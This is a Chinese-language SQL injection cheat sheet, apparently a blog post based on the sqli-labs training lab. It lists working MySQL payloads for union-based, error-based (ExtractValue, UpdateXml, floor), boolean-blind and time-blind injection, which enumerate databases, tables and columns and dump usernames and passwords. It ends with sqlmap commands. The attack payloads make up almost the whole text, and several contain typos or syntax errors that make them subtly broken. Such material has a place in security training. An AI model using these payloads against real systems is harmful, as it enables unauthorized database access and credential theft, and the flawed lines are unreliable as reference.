联合查询注入
使用场景
- 页面上有显示位
什么是显示位: 在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位 。
- Payload
1、判断当前数据表中有几列:
?id=1’ order by 数值 --+
2、查看显示位在第几列(假设一共三列):
?id=-1’ union select 1,2,3 --+
注意:这里必须是查询一个不存在的记录才能起作用。
3、显示当前数据库(假设显示位中包含第三位):
?id=-1’ union select 1,2,database() --+
4、查看当前数据库中的所有表:
?id=-1’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
函数group_concat()把所有结果都在一行输出
5、查询所有数据库:
?id=-1’ union select 1,2,(select group_concat(schema_name) from information_schema.schema) --+
6、查询某个数据库中的表:
?id=-1’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
7、查询某个表中的所有字段:
?id=-1’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+
8、查询某个表中的字段内容:
?id=-1’ union select 1,2,(select group_concat(name, 0x3a, passwd) from security.users)
0x3a会被转义位冒号:
报错型注入
使用场景
-
页面上没有显示位但是有sql语句执行错误信息输出。
-
Payload
主要有三种SQL注入报错方式:
ExtractValue
UpdateXml
floor
- ExtractValue
首先来看ExtractValue()函数,它接受两个字符串参数,第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径。这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。 例如:
mysql> select ExtractValue('<a><b><b/></a>', '~');
ERROR 1105 (HY000): XPATH syntax error: '~'
利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。
mysql> select ExtractValue('<a><b><b/></a>', concat('~', (select database())));
ERROR 1105 (HY000): XPATH syntax error: '~security'
- UpdateXml
UpdateXML(xml_target, xpath_expr, new_xml)
xml_target:: 需要操作的xml片段
xpath_expr: 需要更新的xml路径(Xpath格式)
new_xml: 更新后的内容
不过这些参数都不太重要,这里和上面的extractvalue函数一样,当Xpath路径语法错误时,就会报错,报错内容含有错误的路径内容:
mysql> select updatexml('test', concat('~', (select database())), 'test');
ERROR 1105 (HY000): XPATH syntax error: '~security'
mysql> select updatexml('test', concat('~', (select version())), 'test');
ERROR 1105 (HY000): XPATH syntax error: '~5.7.27-0ubuntu0.18.0.1'
- Floor
固定格式:
?id=-1' union select 1, count(*), concat((******), floor(rand()*2))as a from information_schema.tables group by a --+
******替换为查询语句即可。
1、查询数据库
?id=-1’ union select 1, count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+
2、查询某个数据库中的表
?id=-1’ union select 1,count(*), concat((select table_name from information_schema.tables where table_schema=‘security’ limit 1, 1), floor(rand()*2)) as a from information_schema.columns group by a --+
3、查询表中的字段
?id=-1’ union select 1, count(*), concat((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’, limit 1,1), floor(rand()*2)) as a from information_schema.columns group by a --+
4、查询表中的字段内容
?id=-1’ union select 1,count(*), concat((select concat_ws(’|’,username,password) from security.users limit 1,1), floor(rand()*2))as a from information_schema.tables group by a --+
修改limit x,1 可以显示第x个用户的password和username。
布尔盲注
使用场景
页面没有显示位,也没有SQL语句执行错误信息,只能通过页面返回是否正常来判断注入点。
-
Payload
-
数据库名相关
1、查询数据库个数
?id=1’ union (select count(schema_name) from information_schema.schemata) < 77 --+
2、查询某一个数据库名的长度
?id=1’ union (select length(schema_name) from information_schema.schemata limit 1,1) < 77 --+
3、查询某个数据库名
?id=1’ union (select assii(substr(select schema_name from information_schema.schema limit 1,1)1,1)) < 77 --+
- 数据表相关
1、查询表的个数
?id=1’ union (select count(table_name) from information_schema.tables where table_schema=‘security’) < 77 --+
2、查询表的长度
?id=1’ union (select length(table_name) from information.schema.tables where table_schema=‘security’) < 77 --+
3、查看某个表名
?id=1’ union (select ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),1,1))) < 77 --+
- 字段相关
1、查看某个表中的字段个数
?id=1’ union (select count(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’) < 77 --+
2、查看某个字段名的长度
?id=1’ union (select length(column_name) from infomation_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1) < 77 --+
3、查看某个字段名
?id=1’ union (select ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))) < 77 --+
- 记录内容相关
1、查看表中行数
?id=1’ union (select count(*) from security.users) < 77 --+
2、查看某个字段内容的长度
?id=1’ union (select length(username) from security.users limit 1,1) < 77 --+
3、查看某个字段的内容
?id=1’ union (select ascii(substr((select username from security.users limit 1,1),1,1))) < 77 --+
时间盲注
使用场景
页面上没有显示位,也没有输出SQL语句执行错误信息。正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,如果if条件成立则页面的返回速度明显慢了5秒。
- Payload
与布尔盲注的思想类似
1、判断数据库的个数
id=1’ and if((select count(schema_name) from information_schema.schemata)=9, sleep(5), 1) --+
2、判断数据库名的长度
id=1’ and if((select length(schema_name) from information_schema.schemata)=9, sleep(5), 1) --+
3、查询数据库名
id=1’ and if((select ascii(substr((select schema_name from information_schema.schemata limit 0,1)1,1)))=105, sleep(5), 1) --+
SQLMap Payload
1、以sqlilab中的Less-8为例(布尔型单引号GET盲注),查看sqlmap中使用的payloads,执行命令:
python sqlmap.py -v 3 -u "http://localhost/sqlilabs/Less-8/?id=1" --dbs --dbms="MySQL"
- 首先获取数据库的个数:函数解释:
ORD(string) :返回字符串首字符的ASCII码值。
MID(string,start,length) :返回字符串的从start开始长度为length的字符串。IFNULL(string1,string2) :如果string1是NULL则返回string2,如果不是NULL返回string1。
CAST(volume as type) 用于数据类型转换,将volume转换成type类型的数据(如这里是将数字转
换为字符串)。COUNT(): 统计个数。
DISTINCT(): 标记只要不同(唯一)的值。
2、 再以sqlilab中的Less-4为例(基于错误的GET双引号字符型注入),查看sqlmap中使用的payloads,执行命令:
python sqlmap.py -v 3 -u "http://localhost/sqlilabs/Less-4/?id=1" --level 4 --dbs --dbms="MySQL"
SQLMap执行的payload如下所示:
sql -u [url] --tamper [模块名]
多多分享交流